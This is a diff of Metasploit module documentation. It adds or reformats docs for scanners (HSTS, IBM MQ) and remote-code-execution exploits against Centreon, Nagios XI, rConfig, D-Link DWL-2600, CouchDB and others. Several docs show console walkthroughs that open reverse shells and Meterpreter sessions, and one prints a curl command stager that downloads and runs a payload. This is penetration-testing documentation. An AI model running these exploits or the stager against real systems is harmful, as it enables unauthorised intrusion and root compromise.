||||
|
||||
ErrorLog ${APACHE_LOG_DIR}/error.log
|
||||
CustomLog ${APACHE_LOG_DIR}/access.log combined
|
||||
|
||||
</VirtualHost>
|
||||
|
||||
Finally, execute the following commands:
|
||||
|
||||
sudo service apache2 stop
|
||||
sudo a2enmod ssl
|
||||
sudo a2enmod headers
|
||||
sudo a2ensite default-ssl
|
||||
sudo a2enconf ssl-params
|
||||
sudo apache2ctl configtest
|
||||
sudo service apache2 restart
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/http_hsts```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set RPORT [PORT]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Apache 2.4.29 on Ubuntu 18.04 LTS
|
||||
|
||||
Install using following instructions for Ubuntu listed above.
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/http_hsts
|
||||
msf5 auxiliary(scanner/http/http_hsts) > set RHOSTS 192.168.90.91
|
||||
RHOSTS => 192.168.90.91
|
||||
msf5 auxiliary(scanner/http/http_hsts) > run
|
||||
|
||||
[+] 192.168.90.91:443 - Strict-Transport-Security:max-age=63072000; includeSubdomains
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/http/http_hsts) >
|
||||
|
||||
```
|
||||
|
||||
### Confirming using Nmap
|
||||
|
||||
```
|
||||
tekwizz123@DESKTOP-VF1AJQB:~$ nmap 192.168.90.91 -p 443 --script http-security-headers
|
||||
|
||||
Starting Nmap 7.60 ( https://nmap.org ) at 2020-03-31 00:30 CDT
|
||||
Nmap scan report for 192.168.90.91
|
||||
Host is up (0.0034s latency).
|
||||
|
||||
PORT STATE SERVICE
|
||||
443/tcp open https
|
||||
| http-security-headers:
|
||||
| Strict_Transport_Security:
|
||||
| Header: Strict-Transport-Security: max-age=63072000; includeSubdomains
|
||||
| X_Frame_Options:
|
||||
| Header: X-Frame-Options: DENY
|
||||
| Description: The browser must not display this content in any frame.
|
||||
| X_Content_Type_Options:
|
||||
| Header: X-Content-Type-Options: nosniff
|
||||
|_ Description: Will prevent the browser from MIME-sniffing a response away from the declared content-type.
|
||||
|
||||
Nmap done: 1 IP address (1 host up) scanned in 1.25 seconds
|
||||
```
|
||||
@@ -11,8 +11,6 @@
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Install IBM MQ Server 7.5, 8, or 9
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/scanner/misc/ibm_mq_channel_brute```
|
||||
@@ -21,7 +19,17 @@
|
||||
6. Do: ```set rport <port>```
|
||||
7. Do: ```run```
|
||||
|
||||
Example output:
|
||||
## Options
|
||||
|
||||
**The CHANNELS_FILE option**
|
||||
|
||||
This option should contain the path to a text file which contains a list of channel names that will be checked. One channel name per line.
|
||||
|
||||
## Scenarios
|
||||
|
||||
This module can be used to identify a list of channel names that are configured on the Queue Manager. Additionally, the module will return whether each identified channel uses SSL and if it MQI type.
|
||||
After obtaining a list of valid channel names, these can be used to further enumerate the MQ installation. For example, the ibm_mq_enum module can be executed using a valid channel name in order to obtain information regarding the Queue Manager.
|
||||
|
||||
```
|
||||
msf auxiliary(scanner/misc/ibm_mq_channel_brute) > run
|
||||
|
||||
@@ -35,14 +43,3 @@
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
**The CHANNELS_FILE option**
|
||||
|
||||
This option should contain the path to a text file which contains a list of channel names that will be checked. One channel name per line.
|
||||
|
||||
## Scenarios
|
||||
|
||||
This module can be used to identify a list of channel names that are configured on the Queue Manager. Additionally, the module will return whether each identified channel uses SSL and if it MQI type.
|
||||
After obtaining a list of valid channel names, these can be used to further enumerate the MQ installation. For example, the ibm_mq_enum module can be executed using a valid channel name in order to obtain information regarding the Queue Manager.
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
## Vulnerable Application
|
||||
* IBM Downloads page: https://developer.ibm.com/messaging/mq-downloads/
|
||||
|
||||
* IBM Downloads page: https://developer.ibm.com/messaging/mq-downloads/
|
||||
* Tested on IBM MQ 7.5, 8 and 9
|
||||
* Usage:
|
||||
* Download and install MQ Server
|
||||
@@ -8,7 +9,7 @@
|
||||
* Run the module
|
||||
|
||||
## Verification Steps
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Install IBM MQ Server 7.5, 8, or 9
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/scanner/misc/ibm_mq_enum```
|
||||
@@ -16,8 +17,16 @@
|
||||
5. Do: ```set rhosts <target_IP>```
|
||||
6. Do: ```set rport <port>```
|
||||
7. Do: ```run```
|
||||
|
||||
Example output:
|
||||
|
||||
## Options
|
||||
|
||||
### CHANNEL
|
||||
|
||||
This option should contain the name of a valid MQ channel. This can be obtained using the module ```auxiliary/scanner/misc/ibm_mq_channel_brute```
|
||||
|
||||
## Scenarios
|
||||
This module can be used to obtain the Queue Manager name as well as the version of the MQ being used on the target host. When the Queue Manager name and a valid MQI channel name without SSL is known , the module ```auxiliary/scanner/misc/ibm_mq_login``` can be used to identify usernames that can authenticate to the Queue Manager.
|
||||
|
||||
```
|
||||
msf auxiliary(scanner/misc/ibm_mq_enum) > run
|
||||
|
||||
@@ -26,11 +35,3 @@ msf auxiliary(scanner/misc/ibm_mq_enum) > run
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
||||
|
||||
## Options
|
||||
**The CHANNEL option**
|
||||
|
||||
This option should contain the name of a valid MQ channel. This can be obtained using the module ```auxiliary/scanner/misc/ibm_mq_channel_brute```
|
||||
|
||||
## Scenarios
|
||||
This module can be used to obtain the Queue Manager name as well as the version of the MQ being used on the target host. When the Queue Manager name and a valid MQI channel name without SSL is known , the module ```auxiliary/scanner/misc/ibm_mq_login``` can be used to identify usernames that can authenticate to the Queue Manager.
|
||||
|
||||
@@ -9,8 +9,8 @@
|
||||
* Allow remote connections for admin users by removing the CHLAUTH record that denies all users or configure access for a specific username.
|
||||
* Run the module
|
||||
|
||||
## Verification Steps
|
||||
Example steps in this format (is also in the PR):
|
||||
## Verification Steps
|
||||
|
||||
1. Install IBM MQ Server 7.5, 8, or 9
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/scanner/misc/ibm_mq_login```
|
||||
@@ -21,7 +21,27 @@
|
||||
7. Do: ```set rport <port>```
|
||||
8. Do: ```run```
|
||||
|
||||
Example output:
|
||||
## Options
|
||||
|
||||
### USERNAMES_FILE
|
||||
|
||||
This option should contain the path to a text file which contains a list of usernames that will be checked. One username per line.
|
||||
|
||||
### QUEUE_MANAGER
|
||||
|
||||
This option should contain the name of the target Queue Manager.
|
||||
|
||||
### CHANNEL
|
||||
|
||||
This option should contain the name of a server-connection channel that will be used to connect to the Queue Manager.
|
||||
|
||||
## Scenarios
|
||||
|
||||
This module can be used to identify a list of usernames that are allowed to connect to the Queue Manager. This module requires the name of a valid server-connection channel, the Queue Manager's name which can be obtained by running the following 2 modules:
|
||||
* ```auxiliary/scanner/misc/ibm_mq_channel_brute```
|
||||
* ```auxiliary/scanner/misc/ibm_mq_enum```
|
||||
After identifying a valid username, MQ Explorer can be used to connect to the Queue Manager using the information gathered.
|
||||
|
||||
```
|
||||
msf auxiliary(scanner/misc/ibm_mq_login) > run
|
||||
|
||||
@@ -33,21 +53,3 @@ msf auxiliary(scanner/misc/ibm_mq_login) > run
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
## Options
|
||||
**The USERNAMES_FILE option**
|
||||
|
||||
This option should contain the path to a text file which contains a list of usernames that will be checked. One username per line.
|
||||
|
||||
**The QUEUE_MANAGER option**
|
||||
|
||||
This option should contain the name of the target Queue Manager.
|
||||
|
||||
**The CHANNEL option**
|
||||
|
||||
This option should contain the name of a server-connection channel that will be used to connect to the Queue Manager.
|
||||
|
||||
## Scenarios
|
||||
This module can be used to identify a list of usernames that are allowed to connect to the Queue Manager. This module requires the name of a valid server-connection channel, the Queue Manager's name which can be obtained by running the following 2 modules:
|
||||
* ```auxiliary/scanner/misc/ibm_mq_channel_brute```
|
||||
* ```auxiliary/scanner/misc/ibm_mq_enum```
|
||||
After identifying a valid username, MQ Explorer can be used to connect to the Queue Manager using the information gathered.
|
||||
|
||||
@@ -1,6 +1,9 @@
|
||||
## Description
|
||||
|
||||
CouchDB administrative users can configure the database server via HTTP(S).Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,including downloading and executing scripts from the public internet.
|
||||
CouchDB administrative users can configure the database server via HTTP(S). Some of the configuration options
|
||||
include paths for operating system-level binaries that are subsequently launched by CouchDB.
|
||||
This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell
|
||||
commands as the CouchDB user,including downloading and executing scripts from the public internet.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
@@ -12,15 +15,13 @@ Couchdb 2.x: https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635
|
||||
Couchdb 1.x: https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12636
|
||||
|
||||
|
||||
## Vulnerable Application Installation Setup.
|
||||
### Vulnerable Application Installation Setup.
|
||||
|
||||
Change dictory to CVE-2017-1263X, and run `docker-compose up -d`
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use modules/exploits/linux/http/apache_couchdb_cmd_exec.rb```
|
||||
@@ -37,18 +38,18 @@ Change dictory to CVE-2017-1263X, and run `docker-compose up -d`
|
||||
|
||||
## Options
|
||||
|
||||
- URIPATH
|
||||
### URIPATH
|
||||
|
||||
``URIPATH`` by default is random, you can change it if you want.
|
||||
|
||||
- HttpUsername, HttpPassword
|
||||
### HttpUsername, HttpPassword
|
||||
|
||||
Sometimes it requires authentication, set these options to authorize.
|
||||
Sometimes it requires authentication, set these options to authorize.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
TESTED AGAINST LINUX
|
||||
### Apache CouchDB on Linux
|
||||
|
||||
```
|
||||
msf5 > use modules/exploits/linux/http/apache_couchdb_cmd_exec.rb
|
||||
|
||||
@@ -0,0 +1,101 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Centreon is an open source IT monitoring solution by Centreon, a leading Paris-based software company.
|
||||
|
||||
An authenticated user with sufficient administrative rights to manage pollers can use this functionality to
|
||||
execute arbitrary commands remotely. Usually, the miscellaneous commands are used by the additional modules
|
||||
(to perform certain actions), by the scheduler for data processing, etc.
|
||||
|
||||
This module uses this functionality to obtain a remote shell on the target.
|
||||
|
||||
Tested on:
|
||||
|
||||
* [Centreon 19.10.8](http://vm.download.centreon.com/centreon-vbox-vm-19_10-3.el7.ovf.zip)
|
||||
* [Centreon 19.10.5](http://vm.download.centreon.com/centreon-vbox-vm-19_10-1.el7.ovf.zip)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the module as usual
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/centreon_pollers_auth_rce`
|
||||
4. Do: `set RHOSTS [IP]`
|
||||
5. Do: `set LHOST [IP]`
|
||||
6. Do: `set USERNAME [USERNAME]`
|
||||
7. Do: `sat PASSWORD [PASSWORD]`
|
||||
8. Do: `set VERBOSE true`
|
||||
9. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/http/centreon_pollers_auth_rce
|
||||
msf5 exploit(linux/http/centreon_pollers_auth_rce) > set rhosts [IP]
|
||||
rhosts => [IP]
|
||||
msf5 exploit(linux/http/centreon_pollers_auth_rce) > set username admin
|
||||
username => admin
|
||||
msf5 exploit(linux/http/centreon_pollers_auth_rce) > set password centreon
|
||||
password => centreon
|
||||
msf5 exploit(linux/http/centreon_pollers_auth_rce) > set lhost [IP]
|
||||
lhost => [IP]
|
||||
msf5 exploit(linux/http/centreon_pollers_auth_rce) > set verbose true
|
||||
verbose => true
|
||||
msf5 exploit(linux/http/centreon_pollers_auth_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on XXX.XXX.XXX.XXX:4444
|
||||
[*] Send authentication request.
|
||||
[*] Successful authenticated.
|
||||
[*] Upload command payload on the target.
|
||||
[*] Create new poller entry on the target.
|
||||
[*] Reload the poller to trigger exploitation.
|
||||
[*] -- Generating files.
|
||||
[*] -- Restarting engine.
|
||||
[*] -- Executing command.
|
||||
[*] Command shell session 1 opened (XXX.XXX.XXX.XXX:4444 -> XXX.XXX.XXX.XXX:59624) at 2020-02-03 17:41:13 +0400
|
||||
|
||||
id
|
||||
uid=48(apache) gid=48(apache) groups=48(apache),993(centreon-engine),994(centreon-broker),998(centreon),999(nagios)
|
||||
|
||||
--or--
|
||||
|
||||
msf5 exploit(linux/http/centreon_pollers_auth_rce) > set target 1
|
||||
target => 1
|
||||
msf5 exploit(linux/http/centreon_pollers_auth_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on XXX.XXX.XXX.XXX:4444
|
||||
[*] Send authentication request.
|
||||
[*] Successful authenticated.
|
||||
[*] Using URL: http://0.0.0.0:8080/fNqJS82wB
|
||||
[*] Local IP: http://XXX.XXX.XXX.XXX:8080/fNqJS82wB
|
||||
[*] Generated command stager: ["curl -so /tmp/MBoYQsJv http://XXX.XXX.XXX.XXX:8080/fNqJS82wB;chmod +x /tmp/MBoYQsJv;/tmp/MBoYQsJv;rm -f /tmp/MBoYQsJv"]
|
||||
[*] Upload command payload on the target.
|
||||
[*] Create new poller entry on the target.
|
||||
[*] Reload the poller to trigger exploitation.
|
||||
[*] -- Generating files.
|
||||
[*] -- Restarting engine.
|
||||
[*] -- Executing command.
|
||||
[*] Client XXX.XXX.XXX.XXX (curl/7.29.0) requested /fNqJS82wB
|
||||
[*] Sending payload to XXX.XXX.XXX.XXX (curl/7.29.0)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3021284 bytes) to XXX.XXX.XXX.XXX
|
||||
[*] Meterpreter session 2 opened (XXX.XXX.XXX.XXX:4444 -> XXX.XXX.XXX.XXX:60536) at 2020-02-03 17:44:47 +0400
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=48, gid=48, euid=48, egid=48
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Targets
|
||||
|
||||
```
|
||||
Id Name
|
||||
-- ----
|
||||
0 Reverse shell (In-Memory)
|
||||
1 Meterpreter (Dropper)
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
1. <https://www.exploit-db.com/exploits/47969>
|
||||
2. <https://www.exploit-db.com/exploits/47977>
|
||||
3. <https://www.exploit-db.com/exploits/47978>
|
||||
@@ -0,0 +1,63 @@
|
||||
# DLINK DWL-2600 Authenticated Command Injection
|
||||
|
||||
## Overview
|
||||
DLINK DWL-2600 WiFi Access Points contain an authenticated command injection vulnerability. This vulnerability was originally discovered by RAKI BEN HAMOUDA and posted to exploit db here: [https://www.exploit-db.com/exploits/46841](https://www.exploit-db.com/exploits/46841). Original testing was performed against firmware version `4.2.0.15` though other versions are likely affected.
|
||||
|
||||
## Options
|
||||
### HttpUsername
|
||||
Defaults to admin, this is the username that is used to authenticate to the device
|
||||
### HttpPassword
|
||||
Defaults to admin, this is hte password that is used to authenticate to the device
|
||||
### DOWNHOST
|
||||
Alternative host to request MIPS payload from.
|
||||
### DOWNFILE
|
||||
File name to download - defaults to a random value.
|
||||
### HTTP_DELAY
|
||||
Time that the HTTP Server will wait for the ELF payload request.
|
||||
|
||||
In addition you will probably want to set `LHOST` and `SRVHOST`.
|
||||
|
||||
## Payloads
|
||||
```
|
||||
msf5 exploit(linux/http/dlink_dwl_2600_command_injection) > show payloads
|
||||
|
||||
Compatible Payloads
|
||||
===================
|
||||
|
||||
# Name Disclosure Date Rank Check Description
|
||||
- ---- --------------- ---- ----- -----------
|
||||
0 generic/custom normal No Custom Payload
|
||||
1 generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
|
||||
2 generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
|
||||
3 linux/mipsle/exec normal No Linux Execute Command
|
||||
4 linux/mipsle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
|
||||
5 linux/mipsle/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
|
||||
6 linux/mipsle/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
|
||||
7 linux/mipsle/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
|
||||
8 linux/mipsle/reboot normal No Linux Reboot
|
||||
9 linux/mipsle/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
|
||||
10 linux/mipsle/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
|
||||
11 linux/mipsle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
|
||||
|
||||
```
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
msf5 exploit(linux/http/dlink_dwl_2600_command_injection) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.0.101:4444
|
||||
[*] 192.168.0.100:80 - Trying to login with admin / admin
|
||||
[+] 192.168.0.100:80 - Successful login admin/admin
|
||||
[+] 192.168.0.100:80 - Received Auth token: SAZxUXJsuDwQDVhqLayWvGZNlWDIODhi
|
||||
[*] Using URL: http://0.0.0.0:8080/mnHnGuZ0euTGyf5
|
||||
[*] Local IP: http://192.168.0.101:8080/mnHnGuZ0euTGyf5
|
||||
[*] Sending CGI payload using token: SAZxUXJsuDwQDVhqLayWvGZNlWDIODhi
|
||||
[*] Client 192.168.0.100 (Wget) requested /mnHnGuZ0euTGyf5
|
||||
[*] Sending payload to 192.168.0.100 (Wget)
|
||||
[*] Command Stager progress - 54.24% done (64/118 bytes)
|
||||
[*] Sending CGI payload using token: SAZxUXJsuDwQDVhqLayWvGZNlWDIODhi
|
||||
[*] Command Stager progress - 72.88% done (86/118 bytes)
|
||||
[*] Sending CGI payload using token: SAZxUXJsuDwQDVhqLayWvGZNlWDIODhi
|
||||
[*] Command shell session 3 opened (192.168.0.101:4444 -> 192.168.0.100:33318) at 2020-03-26 20:10:26 -0500
|
||||
[*] Server stopped.
|
||||
```
|
||||
@@ -21,8 +21,6 @@ gcc ./cgitest.c -o cgi-bin/cgitest
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/linux/http/goahead_ldpreload```
|
||||
|
||||
@@ -10,15 +10,13 @@ This module exploits an unauthenticated command execution vulnerability in Apach
|
||||
|
||||
https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
|
||||
|
||||
## Vulnerable Application Installation Setup.
|
||||
### Vulnerable Application Installation Setup.
|
||||
|
||||
Change dictory to `vulhub/hadoop/unauthorized-yarn`, and run `docker-compose up -d`
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/linux/http/hadoop_unauth_exec```
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a SQL injection and command injection vulnerability in MicroFocus Secure Messaging
|
||||
Gateway. An unauthenticated user can execute a terminal command under the context of the web user.
|
||||
|
||||
@@ -11,7 +12,7 @@ endpoint without having a valid session.
|
||||
Combining these vulnerabilities gives the opportunity execute operation system commands under the
|
||||
context of the web user.
|
||||
|
||||
## Vulnerable Application Installation Steps
|
||||
### Installation Steps
|
||||
|
||||
Complete the following trial submission form. You will be able to [download the product as a OVA or ISO file](https://www.microfocus.com/products/secure-gateway/trial/).
|
||||
Installation instructions can be [found here](https://www.microfocus.com/documentation/secure-messaging-gateway/GWAVA%207.0/secure-gateway.pdf).
|
||||
@@ -111,4 +112,4 @@ msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > run
|
||||
meterpreter > pwd
|
||||
/opt/gwava/gwavaman/http/admin/contents/ou
|
||||
meterpreter >
|
||||
```
|
||||
```
|
||||
|
||||
@@ -0,0 +1,96 @@
|
||||
## Introduction
|
||||
This module exploits a vulnerability in Nagios XI before 5.6.6 in order to execute arbitrary commands as root.
|
||||
|
||||
The module first checks if the supplied credentials are valid and belong to a user with permissions to modify plugins. It then exploits these permissions by uploading a malicious plugin to the target and subsequently sending an HTTP GET request to profile.php?cmd=download. This request downloads a system profile from the server and in the process launches the getprofile.sh script as root via a passwordless sudo entry. This script executes the malicious plugin as root.
|
||||
|
||||
For all supported targets except `Linux (cmd)`, the module uses a command stager to write the exploit to the target via the malicious plugin. However, this method may not work if Nagios XI is running in a restricted Unix environment like a minimal/custom CentOS installation. In the latter case, the target must be set to `Linux (cmd)`. For this target, the module writes the payload directly to the malicious plugin while avoiding commands that may not be supported in a restricted environment. It is recommended to use the target's default `cmd/unix/reverse_bash` payload in this scenario.
|
||||
|
||||
If the target is found to be vulnerable but the module completes without establishing a session, try increasing the value of `WfsDelay` (the additional delay when waiting for a session). The default value of this advanced option is 10 seconds. To check it, run `show advanced`. Other possible solutions are changing the payload, manually setting the value of the `CMDSTAGER::FLAVOR` advanced option, and setting the target to `Linux (cmd)` as explained above.
|
||||
|
||||
Valid credentials for a user with administrative privileges are required. This module was successfully tested on Nagios XI 5.6.5 running on CentOS 7. Please note that the module may behave differently when run against older versions of Nagios XI. For instance, during a test against Nagios XI 5.4.10, the module failed to trigger execution of the payload. Instead, the payload was executed randomly after a period of time (up to 5 minutes). Moreover, the session that was ultimately established, was not a root session.
|
||||
|
||||
## Vulnerable system
|
||||
Nagios XI before 5.6.6.
|
||||
|
||||
## Verification Steps
|
||||
1. Install the module as usual
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/nagiosxi_authenticated_rce`
|
||||
4. Do: `set RHOSTS [IP]`
|
||||
5. Do: `set SRVHOST [IP]`
|
||||
6. Do: `set USERNAME [username]`
|
||||
7. Do: `set PASSWORD [password]`
|
||||
8. Do: `set payload [payload]`
|
||||
9. Do: `set LHOST [IP]`
|
||||
10. Do: `set LPORT [port]`
|
||||
11. Do: `exploit`
|
||||
|
||||
## Options
|
||||
1. `USERNAME`. The username to authenticate with. This user should have permissions to modify plugins. The default setting is `nagiosadmin`, which is the default admin account for Nagios XI systems.
|
||||
2. `PASSWORD`. The password to authenticate with.
|
||||
|
||||
## Targets
|
||||
0. Linux (x86)
|
||||
1. Linux (x64) # This is the default target.
|
||||
2. Linux (cmd) # If wget is not installed on the target, this target should be selected together with the payload cmd/unix/reverse_bash.
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
msf5 exploit(linux/http/nagiosxi_authenticated_rce) > show options
|
||||
|
||||
Module options (exploit/linux/http/nagiosxi_authenticated_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PASSWORD P@ssw0rd! yes Password to authenticate with
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.1.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SRVHOST 192.168.1.2 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes Base path to NagiosXI
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
USERNAME nagiosadmin yes Username to authenticate with
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (linux/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.1.2 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 Linux (x64)
|
||||
|
||||
|
||||
msf5 exploit(linux/http/nagiosxi_authenticated_rce) > run
|
||||
[*] Started reverse TCP handler on 192.168.1.2:4444
|
||||
[*] Found Nagios XI application with version 5.6.5.
|
||||
[*] Using URL: http://192.168.1.2:8080/eFFP5lYvZ8eCnR0
|
||||
[*] Uploading malicious 'check_ping' plugin...
|
||||
[*] Command Stager progress - 100% done (121/121 bytes)
|
||||
[+] Successfully uploaded plugin.
|
||||
[*] Executing plugin...
|
||||
[*] Waiting for the plugin to request the final payload...
|
||||
[*] Client 192.168.1.1 (Wget/1.14 (linux-gnu)) requested /eFFP5lYvZ8eCnR0
|
||||
[*] Sending payload to 192.168.1.1 (Wget/1.14 (linux-gnu))
|
||||
[*] Sending stage (3021284 bytes) to 192.168.1.1
|
||||
[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.1:56510) at 2020-02-27 16:27:49 +0100
|
||||
[*] Deleting malicious 'check_ping' plugin...
|
||||
[+] Plugin deleted.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
|
||||
```
|
||||
## References
|
||||
1. <https://github.com/jakgibb/nagiosxi-root-rce-exploit>
|
||||
2. <https://nvd.nist.gov/vuln/detail/CVE-2019-15949>
|
||||
@@ -0,0 +1,77 @@
|
||||
## Vulnerable Application
|
||||
This module exploits multiple vulnerabilities in rConfig version 3.9 and prior in order to execute arbitrary commands.
|
||||
|
||||
The module first add a temporary admin user to the application by exploiting an SQL injection (CVE-2020-10220).
|
||||
|
||||
Next, the module authenticates as the newly created user in order to abuse a command injection vulnerability in the `path` parameter of the ajaxArchiveFiles functionality within the rConfig web interface (CVE-2019-19509).
|
||||
|
||||
The module works with HTTP or HTTPS (both were tested) but the application does redirection via php code so SSL is enabled by default (and should be used). Valid credentials for a user with administrative privileges are required. However, this module can bypass authentication via SQLI. This module has been successfully tested on rConfig 3.9.2 and 3.9.4.
|
||||
|
||||
Tips : once you get a shell, look at the CVE-2019-19585. You will probably get root because rConfig install script add Apache user to sudoers with nopasswd ;-)
|
||||
|
||||
## Verification Steps
|
||||
1. Install the module as usual
|
||||
2. Start msfconsole
|
||||
3. `use exploit/linux/http/rconfig_ajaxarchivefiles_rce`
|
||||
4. `set RHOSTS target_ip`
|
||||
5. `set RPORT target_port`
|
||||
6. `set LHOST your_ip`
|
||||
7. `set LPORT your_port`
|
||||
8. `set verbose true`
|
||||
9. `exploit -j`
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
msf5 exploit(linux/http/rconfig_ajaxarchivefiles_rce) > show options
|
||||
|
||||
Module options (exploit/linux/http/rconfig_ajaxarchivefiles_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes Base path to Rconfig
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (generic/shell_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Auto
|
||||
|
||||
msf5 exploit(linux/http/rconfig_ajaxarchivefiles_rce) > set RHOSTS 1.1.1.1
|
||||
RHOSTS => 1.1.1.1
|
||||
msf5 exploit(linux/http/rconfig_ajaxarchivefiles_rce) > set LHOST 1.1.1.2
|
||||
LHOST => 1.1.1.2
|
||||
|
||||
msf5 exploit(linux/http/rconfig_ajaxarchivefiles_rce) >
|
||||
[+] rConfig version 3.9 detected
|
||||
[+] New temporary user 6QpO8mLt created
|
||||
[+] Authenticated as user 6QpO8mLt
|
||||
[*] Command shell session 1 opened (1.1.1.2:4444 -> 1.1.1.1:34586) at 2020-03-10 22:26:46 +0100
|
||||
[+] Command sucessfully executed
|
||||
[*] User 6QpO8mLt removed successfully !
|
||||
|
||||
msf5 exploit(linux/http/rconfig_ajaxarchivefiles_rce) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
id
|
||||
uid=48(apache) gid=48(apache) groups=48(apache)
|
||||
```
|
||||
## References
|
||||
1. <https://cvedetails.com/cve/CVE-2019-19509/>
|
||||
2. <https://cvedetails.com/cve/CVE-2020-10220/>
|
||||
3. <https://www.exploit-db.com/exploits/47982>
|
||||
4. <https://www.exploit-db.com/exploits/48208>
|
||||
5. <https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2019-19509.py>
|
||||
6. <https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2020-10220.py>
|
||||
@@ -1,12 +1,11 @@
|
||||
## Description
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module attempts to gain root privileges on Juju agent systems running the juju-run agent utility.
|
||||
|
||||
